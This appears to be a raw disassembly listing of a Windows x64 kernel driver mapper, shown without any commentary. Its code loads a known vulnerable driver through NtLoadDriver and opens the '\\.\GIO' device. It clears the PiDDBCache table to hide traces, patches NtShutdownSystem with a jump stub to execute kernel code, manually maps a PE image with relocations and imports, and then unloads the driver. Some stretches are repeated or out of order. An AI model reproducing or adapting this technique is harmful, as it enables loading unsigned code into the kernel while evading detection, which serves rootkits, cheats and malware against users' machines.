sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000899e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010400
test ebx, ebx
setne bl
movdqa xmm0, xmmword [0x14001fce0]
mov byte [rbp + 0xc8], 0
movdqu xmmword [rbp + 0xd8], xmm0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x1400089fd
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400089f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400089f8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010400
movdqa xmm0, xmmword [0x14001fce0]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140008a4c
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008a47
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008a47
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010400
movdqa xmm0, xmmword [0x14001fce0]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x140008aa0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008a9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008a9b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010400
movdqa xmm0, xmmword [0x14001fcd0]
movdqu xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x70], si
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x140008af1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008aec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008bd4
call fcn.140010400
movdqa xmm0, xmmword [0x14001fcd0]
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x50], si
test bl, bl
je 0x140008b0d
xor bl, bl
jmp 0x140008bf7
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x160], xmm1
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x150]
call fcn.140002750
nop
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x150]
call fcn.14000a7b0
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
lea rcx, [rbp + 0x250]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x140008be0
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008bdb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008bdb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010400
movdqa xmm0, xmmword [0x14001fce0]
movdqu xmmword [rbp + 0x160], xmm0
mov byte [rbp + 0x150], 0
lea rdi, [0x140012e70]
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x1d0]
call fcn.1400022c0
mov byte [rbp + 0x1f0], bl
lea rcx, [rbp + 0x260]
call fcn.140006d30
nop
mov rdx, qword [rbp + 0x120]
cmp rdx, 0xf
jbe 0x140008c68
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008c63
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010400
mov qword [rbp + 0x118], rsi
mov qword [rbp + 0x120], 0xf
mov byte [rbp + 0x108], 0
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 0xf
jbe 0x140008cc5
inc rdx
mov rcx, qword [rbp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008cc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008cc0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010400
movdqa xmm0, xmmword [0x14001fce0]
movdqu xmmword [rbp + 0x198], xmm0
mov byte [rbp + 0x188], 0
sub r15, r14
cmp r15, 0x1000
jb 0x140008d04
add r15, 0x27
mov rcx, qword [r14 - 8]
sub r14, rcx
lea rax, [r14 - 8]
cmp rax, 0x1f
ja 0x140008eda
mov r14, rcx
mov rdx, r15
mov rcx, r14
call fcn.140010400
nop
test bl, bl
jne 0x140008e47
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
movdqa xmm1, xmmword [0x14001fce0]
movdqu xmmword [rbp + 0x140], xmm1
mov byte [rbp + 0x130], bl
mov qword [rbp + 0x1a8], rsi
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x1b0]
call fcn.1400022c0
nop
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x140008d98
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008d92
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008d92
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010400
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x140008dda
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008dd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008eda
call fcn.140010400
nop
cmp qword [rbp + 0x1a8], 0
je 0x1400098c6
cmp qword [rbp + 0x1c0], 0
je 0x1400098c6
lea rdx, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 0xf
cmova rdx, qword [rbp + 0x1b0]
lea rcx, str.___vulnerable_driver_loaded___s__n
call fcn.140001260
lea rcx, [rbp + 0x68]
call fcn.14000cdc0
mov eax, 0x5a4d
cmp word [0x140012e70], ax
jne 0x140008ee1
movsxd r8, dword [0x140012eac]
add r8, 8
add r8, rdi
jmp 0x140008ee7
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..GIO
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x140029630], rax
mov qword [rbp + 0x1a8], rax
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x1b0]
call fcn.1400022c0
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x140008dda
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008dd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008dd4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov r8d, 4
mov r8d, dword [r8]
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x68]
call fcn.14000e860
test al, al
jne 0x140008f94
lea rcx, str.____failed_to_clear_piddbcache_table_n
call fcn.140001260
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0xe8]
call fcn.1400022c0
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140008f43
mov rcx, rbx
call fcn.140006df0
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140008f80
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140008f7b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x140008f78
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r8
call fcn.140010400
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
jmp 0x1400098d2
mov r13, qword [rsp + 0x40]
mov rbx, r13
mov r15d, dword [rsp + 0x58]
lea r14, [r15 + r13]
cmp r13, r14
jae 0x14000933f
nop
mov rdi, qword [0x1400296d8]
mov eax, dword [r12]
cmp dword [0x1400295d0], eax
jle 0x140009008
lea rcx, [0x1400295d0]
call fcn.140010760
cmp dword [0x1400295d0], 0xffffffff
jne 0x140009008
lea rcx, [0x140012be8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140029690], rax
lea rcx, [0x1400295d0]
call fcn.1400106f4
mov eax, dword [r12]
cmp dword [0x140029684], eax
jle 0x140009086
lea rcx, [0x140029684]
call fcn.140010760
cmp dword [0x140029684], 0xffffffff
jne 0x140009086
mov dword [0x1400295e0], esi
mov qword [0x1400295e8], rsi
mov qword [0x1400295f0], rsi
xorps xmm0, xmm0
movups xmmword [0x1400295f8], xmm0
movups xmmword [0x140029608], xmm0
movups xmmword [0x140029618], xmm0
mov qword [0x140029628], rsi
mov edx, 2
lea rcx, [0x1400295e0]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x140011d20]
call fcn.14001066c
lea rcx, [0x140029684]
call fcn.1400106f4
lea rcx, [0x1400295e0]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x1400094b6
cmp dword [0x14002962c], 0x7fffffff
je 0x1400094a0
mov dword [rbp - 0x80], 0x25ff
mov word [rbp - 0x7c], ax
mov qword [rbp - 0x7a], rdi
mov rcx, qword [0x140029638]
lea r8d, [rax + 0xe]
lea rdx, [rbp + 0x1d0]
call fcn.1400073b0
mov rcx, qword [0x140029638]
mov r8d, 0xe
lea rdx, [rbp - 0x80]
call fcn.140007550
mov rax, qword [0x140029690]
mov rcx, rbx
call rax
mov rdi, rax
mov rcx, qword [0x140029638]
mov r8d, 0xe
lea rdx, [rbp + 0x1d0]
call fcn.140007550
lea rcx, [0x1400295e0]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rdi
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x68]
call fcn.14000d5f0
test al, al
jne 0x14000913e
xor eax, eax
mov qword [rbp + 0x70], rax
jmp 0x140009142
mov rax, qword [rbp + 0x70]
test al, al
jns 0x140009164
movabs rcx, 0x7ffffffffffffffd
and rax, rcx
or rax, 2
mov qword [rbp + 0x70], rax
lea r8, [rbp + 0x70]
jmp 0x14000931d
mov rdi, qword [0x1400296b8]
mov eax, dword [r12]
cmp dword [0x1400295d0], eax
jle 0x1400091bc
lea rcx, [0x1400295d0]
call fcn.140010760
cmp dword [0x1400295d0], 0xffffffff
jne 0x1400091bc
lea rcx, [0x140012be8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140029690], rax
lea rcx, [0x1400295d0]
call fcn.1400106f4
mov eax, dword [r12]
cmp dword [0x140029684], eax
jle 0x14000923a
lea rcx, [0x140029684]
call fcn.140010760
cmp dword [0x140029684], 0xffffffff
jne 0x14000923a
mov dword [0x1400295e0], esi
mov qword [0x1400295e8], rsi
mov qword [0x1400295f0], rsi
xorps xmm0, xmm0
movups xmmword [0x1400295f8], xmm0
movups xmmword [0x140029608], xmm0
movups xmmword [0x140029618], xmm0
mov qword [0x140029628], rsi
mov edx, 2
lea rcx, [0x1400295e0]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x140011d20]
call fcn.14001066c
lea rcx, [0x140029684]
call fcn.1400106f4
lea rcx, [0x1400295e0]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x140009494
cmp dword [0x14002962c], 0x7fffffff
je 0x14000947e
mov dword [rbp + 0x170], 0x25ff
mov word [rbp + 0x174], ax
mov qword [rbp + 0x176], rdi
mov rcx, qword [0x140029638]
lea r8d, [rax + 0xe]
lea rdx, [rbp + 0x78]
call fcn.1400073b0
mov rcx, qword [0x140029638]
mov r8d, 0xe
lea rdx, [rbp + 0x170]
call fcn.140007550
mov rax, qword [0x140029690]
mov rcx, rbx
call rax
mov rdi, rax
mov rcx, qword [0x140029638]
mov r8d, 0xe
lea rdx, [rbp + 0x78]
call fcn.140007550
lea rcx, [0x1400295e0]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rdi
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x68]
call fcn.14000d5f0
test al, al
jne 0x1400092f7
xor eax, eax
jmp 0x1400092fe
mov rax, qword [rbp + 0xc0]
movabs rcx, 0x7ffffffffffffffd
and rax, rcx
or rax, 2
mov qword [rbp + 0xc0], rax
lea r8, [rbp + 0xc0]
mov r9d, 8
mov rdx, rdi
lea rcx, [rbp + 0x68]
call fcn.14000dde0
add rbx, 0x1000
cmp rbx, r14
jb 0x140008fb0
mov r9d, 4
mov r8d, 0x3000
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov rax, qword [rsp + 0x48]
mov r8d, dword [rax + 0x54]
lea rdx, [0x1400240e0]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x48]
movzx ebx, word [rax + 0x14]
add rbx, 0x28
mov edi, esi
cmp si, word [rax + 6]
jae 0x1400093d2
add rbx, rax
mov r13, rax
lea r15, [0x1400240e0]
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [rbx - 4]
add rcx, r14
mov r8d, dword [rbx]
mov edx, dword [rbx + 4]
add rdx, r15
call sub.VCRUNTIME140.dll_memcpy
inc edi
lea rbx, [rbx + 0x28]
movzx eax, word [r13 + 6]
cmp edi, eax
jl 0x1400093a0
mov r15d, dword [rsp + 0x58]
mov r13, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rdi, r13
sub rdi, qword [rax + 0x30]
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x14000950e
movsxd rax, dword [r14 + 0x3c]
cmp dword [rax + r14], 0x4550
jne 0x14000950e
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x78], xmm1
mov rcx, rsi
mov qword [rbp + 0x88], rcx
mov ebx, dword [rax + r14 + 0xb0]
add rbx, r14
mov eax, dword [rbx]
test eax, eax
je 0x1400094f5
mov rdx, qword [rbp + 0x80]
nop dword [rax + rax]
add rax, r14
mov qword [rbp + 0x1d0], rax
lea rax, [rbx + 8]
mov qword [rbp + 0x1d8], rax
mov eax, dword [rbx + 4]
sub rax, 8
shr rax, 1
mov dword [rbp + 0x1e0], eax
cmp rdx, rcx
je 0x1400094c2
movups xmm0, xmmword [rbp + 0x1d0]
movups xmmword [rdx], xmm0
movsd xmm1, qword [rbp + 0x1e0]
movsd qword [rdx + 0x10], xmm1
add rdx, 0x18
mov qword [rbp + 0x80], rdx
jmp 0x1400094e0
mov dword [0x14002962c], 0x7ffffffe
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov dword [0x14002962c], 0x7ffffffe
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
lea r8, [rbp + 0x1d0]
lea rcx, [rbp + 0x78]
call fcn.140003060
mov rcx, qword [rbp + 0x88]
mov rdx, qword [rbp + 0x80]
mov eax, dword [rbx + 4]
add rbx, rax
mov eax, dword [rbx]
test eax, eax
jne 0x140009430
movdqu xmm1, xmmword [rbp + 0x78]
movsd xmm0, qword [rbp + 0x88]
movsd qword [rbp + 0x180], xmm0
mov rbx, qword [rbp + 0x180]
jmp 0x140009514
xorps xmm1, xmm1
mov rbx, rsi
movq r10, xmm1
psrldq xmm1, 8
movq r11, xmm1
cmp r10, r11
je 0x140009581
lea r9, [r10 + 0x10]
mov r15d, 0xfff
mov r8d, esi
cmp dword [r9], esi
jbe 0x14000956f
nop word [rax + rax]
mov ecx, r8d
mov rax, qword [r9 - 8]
movzx edx, word [rax + rcx*2]
movzx eax, dx
shr ax, 0xc
and dx, r15w
cmp ax, 0xa
jne 0x140009567
movzx ecx, dx
mov rax, qword [r9 - 0x10]
add qword [rax + rcx], rdi
inc r8d
cmp r8d, dword [r9]
jb 0x140009540
add r9, 0x18
lea rax, [r9 - 0x10]
cmp rax, r11
jne 0x140009532
mov r15d, dword [rsp + 0x58]
test r10, r10
je 0x1400095dc
sub rbx, r10
movabs rax, 0x2aaaaaaaaaaaaaab
imul rbx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, r10
cmp rdx, 0x1000
jb 0x1400095d4
add rdx, 0x27
mov r10, qword [r10 - 8]
sub rax, r10
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400095d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r10
call fcn.140010400
mov rdx, r14
lea rcx, [rbp + 0x78]
call fcn.140001d80
mov rcx, rax
call fcn.140001990
test al, al
jne 0x14000967a
lea rcx, str.____failed_to_resolve_imports_n
call fcn.140001260
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0xe8]
call fcn.1400022c0
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140009639
mov rcx, rbx
call fcn.140006df0
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140008f80
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140008f7b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x140008f78
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdi, qword [rsp + 0x48]
mov r8d, dword [rdi + 0x54]
xor edx, edx
mov rcx, r14
call sub.VCRUNTIME140.dll_memset
mov r9, r15
mov r8, r14
mov rdx, r13
lea rcx, [rbp + 0x68]
call fcn.14000dde0
mov ebx, dword [rdi + 0x28]
add rbx, r13
mov edi, dword [rdi + 0x50]
mov eax, dword [r12]
cmp dword [0x1400296cc], eax
jle 0x1400096f9
lea rcx, [0x1400296cc]
call fcn.140010760
cmp dword [0x1400296cc], 0xffffffff
jne 0x1400096f9
lea rcx, [0x140012be8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400296e0], rax
lea rcx, [0x1400296cc]
call fcn.1400106f4
mov eax, dword [r12]
cmp dword [0x1400296c4], eax
jle 0x140009777
lea rcx, [0x1400296c4]
call fcn.140010760
cmp dword [0x1400296c4], 0xffffffff
jne 0x140009777
mov dword [0x1400296f0], esi
mov qword [0x1400296f8], rsi
mov qword [0x140029700], rsi
xorps xmm0, xmm0
movups xmmword [0x140029708], xmm0
movups xmmword [0x140029718], xmm0
movups xmmword [0x140029728], xmm0
mov qword [0x140029738], rsi
mov edx, 2
lea rcx, [0x1400296f0]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x140011d10]
call fcn.14001066c
lea rcx, [0x1400296c4]
call fcn.1400106f4
lea rcx, [0x1400296f0]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x140009794
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
cmp dword [0x14002973c], 0x7fffffff
jne 0x1400097b6
mov dword [0x14002973c], 0x7ffffffe
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov dword [rsp + 0x48], 0x25ff
mov word [rsp + 0x4c], 0
mov qword [rsp + 0x4e], rbx
mov rcx, qword [0x140029638]
mov r8d, 0xe
lea rdx, [rbp + 0x130]
call fcn.1400073b0
mov rcx, qword [0x140029638]
mov r8d, 0xe
lea rdx, [rsp + 0x48]
call fcn.140007550
mov rdx, rdi
mov rcx, r13
call qword [0x1400296e0]
mov rcx, qword [0x140029638]
mov r8d, 0xe
lea rdx, [rbp + 0x130]
call fcn.140007550
lea rcx, [0x1400296f0]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0xe8]
call fcn.1400022c0
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140009869
mov rcx, rbx
call fcn.140006df0
test al, al
je 0x140009869
mov dil, 1
jmp 0x14000986c
xor dil, dil
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400098a2
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000989d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400098bf
mov rcx, r8
call fcn.140010400
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
test dil, dil
jne 0x1400098d7
lea rcx, str.____unable_to_unload_vulnerable_driver_n
jmp 0x1400098cd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rcx, str.____unable_to_load_vulnerable_driver_n
call fcn.140001260
mov esi, 0xffffffff
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0xf
jbe 0x140009914
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000990f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000992d
call fcn.140010400
movdqa xmm0, xmmword [0x14001fce0]
movdqu xmmword [rbp + 0x1c0], xmm0
mov byte [rbp + 0x1b0], 0
jmp 0x14000996d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rcx, str.____failed_to_sig_scan_pte_functions_n
call fcn.140001260
jmp 0x140009968
lea rdx, [rbp + 0x220]
cmp qword [rbp + 0x238], 0xf
cmova rdx, qword [rbp + 0x220]
mov r8d, r15d
lea rcx, str.____failed_to_load___s___0x_x__n
call fcn.140001260
mov esi, 0xffffffff
lea rcx, [rbp + 0x200]
call fcn.140006aa0
mov eax, esi
mov rcx, qword [rbp + 0x370]
xor rcx, rsp
call fcn.1400103e0
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rbp - 0x50]
lea rdx, [rbp + 0x130]
lea rcx, str.absolute
call fcn.140004dd0
nop
lea r8, [rbp + 0x188]
lea rdx, [rbp + 0x130]
lea rcx, str.absolute
call fcn.140004dd0
int3